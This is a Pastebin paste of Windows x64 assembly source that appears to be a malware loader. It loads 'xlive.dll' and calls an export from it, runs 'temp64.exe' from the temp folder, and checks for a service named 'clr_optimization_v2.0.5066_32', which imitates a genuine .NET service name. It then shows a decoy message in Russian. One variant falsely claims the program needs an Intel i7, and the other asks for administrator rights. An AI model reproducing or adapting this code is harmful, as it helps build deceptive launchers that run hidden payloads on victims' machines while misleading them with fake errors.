Advertisement
Guest User

Untitled

a guest
Jun 24th, 2017
61
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. format PE64 GUI 5.0
  2. entry Main
  3.  
  4. include 'win64a.inc'
  5.  
  6. section '.data' data readable writeable
  7.  
  8.         szServiceName db "clr_optimization_v2.0.5066_32",0
  9.  
  10.         DllnotFound db "Dll xlive.dll not found.",0
  11.         Alert db "Программу необходимо запустить от имени Aдминистратора.",0
  12.         Fake db "Программа предназначена для выполнения на процессорах Intel i7 и выше.",0
  13.         dllname db "xlive.dll",0
  14.         maindll db "CreateFile",0
  15.         exename db "temp64.exe",0
  16.  
  17.         schSCManager dq ?
  18.         hLib dq ?
  19.         temp db 260 dup (?)
  20.  
  21. section '.code' code readable executable
  22.  
  23. proc Main
  24.  
  25.         invoke LoadLibraryA,dllname
  26.  
  27.         cmp rax,0
  28.         je .dllnotfound
  29.  
  30.         mov [hLib],rax
  31.  
  32.         invoke GetProcAddress,rax,maindll
  33.  
  34.         call rax
  35.  
  36.         invoke FreeLibrary,hLib
  37.  
  38.         invoke GetTempPathA,260,temp
  39.         invoke lstrcatA,temp,exename
  40.         invoke ShellExecuteA,0,0,temp,0,0,0
  41.  
  42.         invoke OpenSCManagerA,0,0,0F003Fh
  43.         mov [schSCManager],rax
  44.  
  45.         invoke OpenServiceA,schSCManager,szServiceName,10000h
  46.         mov [schSCManager],rax
  47.  
  48.         cmp rax,0
  49.         jz .exit
  50.  
  51.         invoke CloseServiceHandle,schSCManager
  52.         invoke MessageBoxA,0,Fake,0,30h
  53.         invoke ExitProcess,rax
  54.  
  55. .dllnotfound:
  56.  
  57.         invoke MessageBoxA,0,DllnotFound,0,10h
  58.         invoke ExitProcess,rax
  59. .exit:
  60.         invoke CloseServiceHandle,schSCManager
  61.         invoke MessageBoxA,0,Alert,0,30h
  62.         invoke ExitProcess,rax
  63. endp
  64.  
  65. section '.idata' import data readable
  66.  
  67.   library kernel,'KERNEL32.DLL',\
  68.           user,'USER32.DLL',\
  69.           shell,'SHELL32.DLL',\
  70.           advapi,'ADVAPI32.DLL'
  71.  
  72.   import advapi,\
  73.          OpenSCManagerA,'OpenSCManagerA',\
  74.          OpenServiceA,'OpenServiceA',\
  75.          CloseServiceHandle,'CloseServiceHandle'
  76.  
  77.   import kernel,\
  78.          ExitProcess,'ExitProcess',\
  79.          GetTempPathA,'GetTempPathA',\
  80.          lstrcatA,'lstrcatA',\
  81.          LoadLibraryA,'LoadLibraryA',\
  82.          GetProcAddress,'GetProcAddress',\
  83.          FreeLibrary,'FreeLibrary'
  84.  
  85.   import shell,\
  86.          ShellExecuteA,'ShellExecuteA'
  87.  
  88.   import user,\
  89.          MessageBoxA,'MessageBoxA'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement